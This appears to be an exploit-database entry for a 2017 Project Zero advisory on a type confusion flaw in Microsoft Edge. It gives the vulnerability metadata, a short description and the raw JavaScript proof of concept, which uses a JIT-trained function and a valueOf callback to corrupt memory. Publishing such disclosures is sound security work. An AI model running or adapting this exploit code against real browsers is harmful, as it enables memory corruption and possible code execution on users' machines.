Microsoft Edge Type Confusion Vulnerability

vendor:

Edge

by:

Project Zero

8,8

CVSS

HIGH

Type Confusion

843

CWE

Product Name: Edge

Affected Version From: Microsoft Edge 40.15063.0.0 (Insider Preview)

Affected Version To: Microsoft Edge 40.15063.0.0 (Insider Preview)

Patch Exists: Yes

Related CWE: N/A

CPE: a:microsoft:edge

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2017

Microsoft Edge Type Confusion Vulnerability

This vulnerability is a type confusion vulnerability in Microsoft Edge. It occurs when the function 'func(a, b, i)' is replaced with 'func(a, b, {})'. This allows an attacker to create a type confusion between an array and an object, which can be used to corrupt memory and potentially execute arbitrary code. The vulnerability was tested on Microsoft Edge 40.15063.0.0 (Insider Preview).

Mitigation:

Microsoft has released a patch for this vulnerability.

Source

Exploit-DB raw data:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1316

Coincidentally, Microsoft released the patch for the  issue 1290  the day after I reported it. But it seems they fixed it incorrectly again.

This time, "func(a, b, i);" is replaced with "func(a, b, {});".

PoC:
-->

'use strict';

function func(a, b, c) {
    a[0] = 1.2;
    b[0] = c;
    a[1] = 2.2;
    a[0] = 2.3023e-320;
}

function main() {
    let a = [1.1, 2.2];
    let b = new Uint32Array(100);

    for (let i = 0; i < 0x1000; i++)
        func(a, b, {});  // <<---------- REPLACED

    func(a, b, {valueOf: () => {
        a[0] = {};

        return 0;
    }});

    a[0].toString();
}

main();

// Tested on Microsoft Edge 40.15063.0.0(Insider Preview).